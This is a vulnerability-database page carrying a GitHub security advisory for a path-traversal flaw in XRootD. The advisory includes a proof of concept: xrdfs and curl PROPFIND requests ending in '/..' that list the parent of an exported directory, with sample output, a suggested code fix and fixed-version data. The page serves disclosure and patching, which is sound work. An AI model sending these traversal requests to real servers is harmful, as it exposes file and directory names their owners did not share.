GHSA-VJ8V-P5VW-M6V5
Vulnerability from github – Published: 2026-04-10 19:50 – Updated: 2026-11-09 22:12Summary
A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.
This bypass ignores the all.export restriction.
Affected component
src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash).
Then the path is passed directly to the filesystem layer.
PoC
Configuration
- Configuration file:
xrd.port 1094
# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/
# HTTP
xrd.protocol http:1094 libXrdHttp.so
# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd
- Filesystem layout on the server:
/srv/xrootd/data/
├── alice/ ← only exported directory
├── bob/ ← not exported
└── secret.txt ← not exported
- Starting the server:
xrootd -c /etc/xrootd/xrootd.cfg
Steps to reproduce
Normal behavior (access outside export is denied):
$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.
Bypass via trailing ..:
$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt
Also exploitable via HTTP PROPFIND:
curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
--path-as-is \
-H "Depth: 1"
Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).
However, file download via this path traversal is blocked:
$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)
Impact
An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).
File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).
This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.
Suggested fix
In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:
// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;
// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "xrootd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-125113"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:50:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n\u251c\u2500\u2500 alice/ \u2190 only exported directory\n\u251c\u2500\u2500 bob/ \u2190 not exported\n\u2514\u2500\u2500 secret.txt \u2190 not exported\n```\n\n- **Starting the server:** `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003e ls /\n[ERROR] Server responded with an error: [3010] Stating path \u0027/\u0027 is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003els /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND \u0027http://\u003cxrootd-server\u003e:1094/alice/..\u0027 \\\n --path-as-is \\\n -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://\u003cxrootd-server\u003e/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s] \nRun: [ERROR] Server responded with an error: [3010] Opening relative path \u0027alice/../secret.txt\u0027 is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == \u0027.\u0027 \u0026\u0026 fn[1] == \u0027.\u0027 \u0026\u0026 fn[2] == \u0027/\u0027) return 1;\n\n// After\nif (fn[0] == \u0027.\u0027 \u0026\u0026 fn[1] == \u0027.\u0027 \u0026\u0026 (fn[2] == \u0027/\u0027 || fn[2] == \u0027\\0\u0027)) return 1;\n```",
"id": "GHSA-vj8v-p5vw-m6v5",
"modified": "2026-11-09T22:12:52Z",
"published": "2026-04-10T19:50:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xrootd/xrootd/security/advisories/GHSA-vj8v-p5vw-m6v5"
},
{
"type": "WEB",
"url": "https://github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b"
},
{
"type": "PACKAGE",
"url": "https://github.com/xrootd/xrootd"
},
{
"type": "WEB",
"url": "http://github.com/xrootd/xrootd/releases/tag/v5.9.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.